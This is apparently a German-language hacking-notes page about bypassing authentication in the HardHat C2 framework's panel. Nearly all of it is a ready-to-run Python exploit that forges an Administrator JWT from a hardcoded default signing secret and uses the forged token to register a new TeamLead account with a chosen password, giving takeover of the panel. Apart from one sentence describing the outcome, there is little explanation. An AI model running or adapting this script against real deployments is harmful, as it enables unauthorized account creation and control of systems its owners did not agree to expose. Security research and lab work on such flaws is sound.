> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/cms/hardhatc2-cms-exploitation/hardhat-c2-authentication-bypass.md).
# HardHat C2 - Authentifizierungs-Bypass
HardHat C2-Notizen zum Authentifizierungs-Bypass für JWT-Erstellung, Missbrauch von Admin-Tokens, Erstellung eines TeamLead-Benutzers, API-Exploitation und Übernahme des C2-Panels.
{% embed url="" %}
Verwenden Sie das folgende Skript, um die Authentifizierung zu umgehen und einen neuen Benutzer zu erstellen:
```python
import jwt
import datetime
import uuid
import requests
rhost = '127.0.0.1:5000'
# Admin-JWT erstellen
secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq"
issuer = "hardhatc2.com"
now = datetime.datetime.utcnow()
expiration = now + datetime.timedelta(days=28)
payload = {
"sub": "HardHat_Admin",
"jti": str(uuid.uuid4()),
"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "1",
"iss": issuer,
"aud": issuer,
"iat": int(now.timestamp()),
"exp": int(expiration.timestamp()),
"http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator"
}
token = jwt.encode(payload, secret, algorithm="HS256")
print("Generiertes JWT:")
print(token)
# Admin-JWT verwenden, um einen neuen Benutzer „sth_pentest“ als TeamLead zu erstellen
burp0_url = f"https://{rhost}/Login/Register"
burp0_headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
}
burp0_json = {
"password": "jordan12345",
"role": "TeamLead",
"username": "jordan"
}
r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False)
print(r.text)
```
Das Skript erstellt den Benutzer `jordan` mit dem `TeamLead` Rolle.
---
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